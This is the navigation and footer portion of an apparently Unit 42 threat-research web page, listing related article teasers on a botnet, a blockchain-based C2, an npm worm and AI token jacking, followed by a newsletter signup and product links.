  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/communication-channel-identity-risks/ "Identity Abuse Through Trusted Communication Channels")  
  ![Pictorial representation of Kimwolf botnet malware family. Digital screen with a warning sign reading "Malware." The background features lines of computer code and graphics, creating a sense of cybersecurity threat.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/07_Malware_Category_1920x900-3-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 11, 2026 [#### Kimwolf v7: An Evolution of the Kimwolf Botnet](https://unit42.paloaltonetworks.com/kimwolf-v7-botnet-malware/)

* [Android APK](https://unit42.paloaltonetworks.com/tag/android-apk/ "Android APK")

* [Ethereum](https://unit42.paloaltonetworks.com/tag/ethereum/ "Ethereum")

* [HTTP](https://unit42.paloaltonetworks.com/tag/http/ "HTTP")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/kimwolf-v7-botnet-malware/ "Kimwolf v7: An Evolution of the Kimwolf Botnet")  
  ![Pictorial representatiom pf Aeternum's blockchain C2. A close-up of a computer circuit board with a central microchip is depicted. Red digital data streams in the form of glowing binary numbers and arrows appear to flow in and out of the chip. The scene is illuminated with a futuristic blue and red glow.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/04_Malware_Category_1920x900-4-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 10, 2026 [#### The Permanent Threat: Analyzing Aeternum's Blockchain-Based C2 Operations and Communications](https://unit42.paloaltonetworks.com/aeternum-blockchain-c2-analysis/)

* [Aeternum](https://unit42.paloaltonetworks.com/tag/aeternum/ "Aeternum")

* [Infection chain](https://unit42.paloaltonetworks.com/tag/infection-chain/ "infection chain")

* [JSON](https://unit42.paloaltonetworks.com/tag/json/ "JSON")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/aeternum-blockchain-c2-analysis/ "The Permanent Threat: Analyzing Aeternum’s Blockchain-Based C2 Operations and Communications")  
  ![Pictorial representation of ChainDrop, a self-propagating npm worm. An artistic depiction of a digital workspace featuring an open laptop with a red virus on the screen.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/03_Malware_Category_1920x900-7-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)High Profile Threats](https://unit42.paloaltonetworks.com/category/top-cyberthreats/) August 6, 2026 [#### ChainDrop: Inside a Self-Propagating npm Worm](https://unit42.paloaltonetworks.com/chaindrop-npm-worm-analysis/)

* [Blockchain](https://unit42.paloaltonetworks.com/tag/blockchain/ "blockchain")

* [ChainDrop](https://unit42.paloaltonetworks.com/tag/chaindrop/ "ChainDrop")

* [Claude code](https://unit42.paloaltonetworks.com/tag/claude-code/ "Claude code")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/chaindrop-npm-worm-analysis/ "ChainDrop: Inside a Self-Propagating npm Worm")  
  ![Pictorial representation of Token-jacking. A person types on a laptop with multiple digital interface elements projected, including an "AI" icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/AdobeStock_1246251272-2-786x369.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 6, 2026 [#### Token Jacking: Cybercriminals Could Be Stealing Your AI Resources](https://unit42.paloaltonetworks.com/ai-token-jacking/)

* [AI API](https://unit42.paloaltonetworks.com/tag/ai-api/ "AI API")

* [AI gateway](https://unit42.paloaltonetworks.com/tag/ai-gateway/ "AI gateway")

* [API keys](https://unit42.paloaltonetworks.com/tag/api-keys/ "API keys")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ai-token-jacking/ "Token Jacking: Cybercriminals Could Be Stealing Your AI Resources")

* ![Slider arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/slider-arrow-left.svg)

* ![Slider arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/slider-arrow-left.svg)  
  ![Close button](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/close-modal.svg) ![Enlarged Image]()  
  ![Newsletter](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/03/unit42-footer-subscribe-desktop.png)  
  ![UNIT 42 Small Logo](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/palo-alto-logo-small.svg) Get updates from Unit 42

## Peace of mind comes from staying ahead of threats. Subscribe today.

Your Email

Subscribe for email updates to all Unit 42 threat research.  
By submitting this form, you agree to our [Terms of Use](https://www.paloaltonetworks.com/legal-notices/terms-of-use "Terms of Use") and acknowledge our [Privacy Statement.](https://www.paloaltonetworks.com/legal-notices/privacy "Privacy Statement")

This site is protected by reCAPTCHA and the Google [Privacy Policy](https://policies.google.com/privacy) and [Terms of Service](https://policies.google.com/terms) apply.

Invalid captcha!
Subscribe ![Right Arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/right-arrow.svg) ![loader](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-loader.svg)  
{#footer} Products and Services

* [AI-Powered Network Security Platform](https://www.paloaltonetworks.com/network-security)

* [Secure AI by Design](https://www.paloaltonetworks.com/ai-security)

* [Prisma AIRS](https://www.paloaltonetworks.com/ai-security/prisma-airs)

* [AI Access Security](https://www.paloaltonetworks.com/sase/ai-access-security)

* [Cloud Delivered Security Services](https://www.paloaltonetworks.com/network-security/security-subscriptions)

* [Advanced Threat Prevention](https://www.paloaltonetworks.com/network-security/advanced-threat-prevention)

* [Advanced URL Filtering](https://www.paloaltonetworks.com/network-security/advanced-url-filtering)

* [Advanced WildFire](https://www.paloaltonetworks.com/network-security/advanced-wildfire)

* [Advanced DNS Security](https://www.paloaltonetworks.com/network-security/advanced-dns-security)

* [Enterprise Data Loss Prevention](https://www.paloaltonetworks.com/sase/enterprise-data-loss-prevention)

* [Enterprise IoT Security](https://www.paloaltonetworks.com/network-security/enterprise-device-security)

* [Medical IoT Security](https://www.paloaltonetworks.com/network-security/medical-device-security)

* [Industrial OT Security](https://www.paloaltonetworks.com/network-security/ot-security-solution)

* [SaaS Security](https://www.paloaltonetworks.com/sase/saas-security)

* [Next-Generation Firewalls](https://www.paloaltonetworks.com/network-security/next-generation-firewall)

* [Hardware Firewalls](https://www.paloaltonetworks.com/network-security/hardware-firewall-innovations)

* [Software Firewalls](https://www.paloaltonetworks.com/network-security/software-firewalls)

* [Strata Cloud Manager](https://www.paloaltonetworks.com/network-security/strata-cloud-manager)

* [SD-WAN for NGFW](https://www.paloaltonetworks.com/network-security/sd-wan-subscription)

* [PAN-OS](https://www.paloaltonetworks.com/network-security/pan-os)

* [Panorama](https://www.paloaltonetworks.com/network-security/panorama)

* [Secure Access Service Edge](https://www.paloaltonetworks.com/sase)

* [Prisma SASE](https://www.paloaltonetworks.com/sase)

* [Application Acceleration](https://www.paloaltonetworks.com/sase/app-acceleration)

* [Autonomous Digital Experience Management](https://www.paloaltonetworks.com/sase/adem)

* [Enterprise DLP](https://www.paloaltonetworks.com/sase/enterprise-data-loss-prevention)

* [Prisma Access](https://www.paloaltonetworks.com/sase/access)

* [Prisma Browser](https://www.paloaltonetworks.com/sase/prisma-browser)

* [Prisma SD-WAN](https://www.paloaltonetworks.com/sase/sd-wan)

* [Remote Browser Isolation](https://www.paloaltonetworks.com/sase/remote-browser-isolation)

* [SaaS Security](https://www.paloaltonetworks.com/sase/saas-security)

* [AI-Driven Security Operations Platform](https://www.paloaltonetworks.com/cortex)

* [Cloud Security](https://www.paloaltonetworks.com/cortex/cloud)

* [Cortex Cloud](https://www.paloaltonetworks.com/cortex/cloud)

* [Application Security](https://www.paloaltonetworks.com/cortex/cloud/application-security)

* [Cloud Posture Security](https://www.paloaltonetworks.com/cortex/cloud/cloud-posture-security)

* [Cloud Runtime Security](https://www.paloaltonetworks.com/cortex/cloud/runtime-security)

* [Prisma Cloud](https://www.paloaltonetworks.com/prisma/cloud)

* [AI-Driven SOC](https://www.paloaltonetworks.com/cortex)

* [Cortex XSIAM](https://www.paloaltonetworks.com/cortex/cortex-xsiam)

* [Cortex XDR](https://www.paloaltonetworks.com/cortex/cortex-xdr)

* [Cortex XSOAR](https://www.paloaltonetworks.com/cortex/cortex-xsoar)

* [Cortex Xpanse](https://www.paloaltonetworks.com/cortex/cortex-xpanse)

* [Unit 42 Managed Detection \& Response](https://www.paloaltonetworks.com/cortex/managed-detection-and-response)

* [Managed XSIAM](https://www.paloaltonetworks.com/cortex/managed-xsiam)

* [Next-Generation Identity Security](https://www.paloaltonetworks.com/idira)

* [Privileged Access Management](https://www.paloaltonetworks.com/idira/human/privileged-access-management)

* [Identity and Access Management](https://www.paloaltonetworks.com/idira/human/identity-and-access-management)

* [Endpoint Privilege Manager](https://www.paloaltonetworks.com/idira/human/endpoint-privilege-manager)

* [Identity Governance](https://www.paloaltonetworks.com/idira/human/identity-governance)

* [Workforce Password Management](https://www.paloaltonetworks.com/idira/human/workforce-password-management)

* [Agentic Identities](https://www.paloaltonetworks.com/idira/agentic)

* [Secrets Management](https://www.paloaltonetworks.com/idira/machine/secrets-management)

* [Unified Secrets Governance](https://www.paloaltonetworks.com/idira/machine/unified-secrets-governance)

* [Application Credentials Delivery](https://www.paloaltonetworks.com/idira/machine/application-credentials-delivery)

* [Vendor Privileged Access](https://www.paloaltonetworks.com/idira/human/vendor-privileged-access)

* [Threat Intel and Incident Response Services](https://www.paloaltonetworks.com/unit42)

* [Prepare for Emerging Risks](https://www.paloaltonetworks.com/unit42/frontier-ai-defense)

* [Strengthen Your Defenses](https://www.paloaltonetworks.com/unit42/strengthen-your-defenses)

* [Build Your Security Strategy](https://www.paloaltonetworks.com/unit42/build-your-security-strategy)

* [Understand the Adversary](https://www.paloaltonetworks.com/unit42/threat-intelligence)

* [Respond to a Cyber Attack](https://www.paloaltonetworks.com/unit42/respond)  
  Company

* [About Us](https://www.paloaltonetworks.com/about-us)

* [Careers](https://jobs.paloaltonetworks.com/en/)

* [Contact Us](https://www.paloaltonetworks.com/company/contact-sales)

* [Corporate Responsibility](https://www.paloaltonetworks.com/about-us/corporate-responsibility)

* [Customers](https://www.paloaltonetworks.com/customers)

* [Investor Relations](https://investors.paloaltonetworks.com/)

* [Location](https://www.paloaltonetworks.com/about-us/locations)

* [Newsroom](https://www.paloaltonetworks.com/company/newsroom)  
  Popular Links

* [Blog](https://www.paloaltonetworks.com/blog/)

* [Communities](https://www.paloaltonetworks.com/communities)

* [Content Library](https://www.paloaltonetworks.com/resources)

* [Cyberpedia](https://www.paloaltonetworks.com/cyberpedia)

* [Event Center](https://events.paloaltonetworks.com/)

* [Manage Email Preferences](https://start.paloaltonetworks.com/preference-center)

* [Products A-Z](https://www.paloaltonetworks.com/products/products-a-z)

* [Product Certifications](https://www.paloaltonetworks.com/legal-notices/trust-center/certifications)

* [Report a Vulnerability](https://www.paloaltonetworks.com/security-disclosure)

* [Sitemap](https://www.paloaltonetworks.com/sitemap)

* [Tech Docs](https://docs.paloaltonetworks.com/)

* [Unit 42](https://unit42.paloaltonetworks.com/)

* [Do Not Sell or Share My Personal Information](https://panwedd.exterro.net/portal/dsar.htm?target=panwedd)
  ![Palo Alto Networks Logo](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/pan-logo-dark.svg)

* [Privacy](https://www.paloaltonetworks.com/legal-notices/privacy)

* [Trust Center](https://www.paloaltonetworks.com/legal-notices/trust-center)

* [Terms of Use](https://www.paloaltonetworks.com/legal-notices/terms-of-use)

* [Documents](https://www.paloaltonetworks.com/legal)

Copyright © 2026 Palo Alto Networks. All Rights Reserved

* [![Youtube](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/youtube-black.svg)](https://www.youtube.com/user/paloaltonetworks)
* [![Podcast](https://www.paloaltonetworks.com/content/dam/pan/en_US/images/icons/podcast.svg)](https://www.paloaltonetworks.com/podcasts/threat-vector)
* [![Facebook](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/facebook-black.svg)](https://www.facebook.com/PaloAltoNetworks/)
* [![LinkedIn](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/linkedin-black.svg)](https://www.linkedin.com/company/palo-alto-networks)
* [![Twitter](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/twitter-x-black.svg)](https://twitter.com/PaloAltoNtwks)
* EN  
  Select your language  
  ![Play](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-play-icon.svg) ![Pause](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-pause-icon1.svg) ![Minimize](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-minimize.svg) ![Close button](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/close-modal.svg)

### Default Heading

Read the article ![Right Arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/right-arrow.svg)  
Seekbar

![Play](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-play-icon.svg) ![Pause](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-pause-icon1.svg)  
![Volume](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-volume.svg)  
Volume
![Minimize](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-minimize.svg)
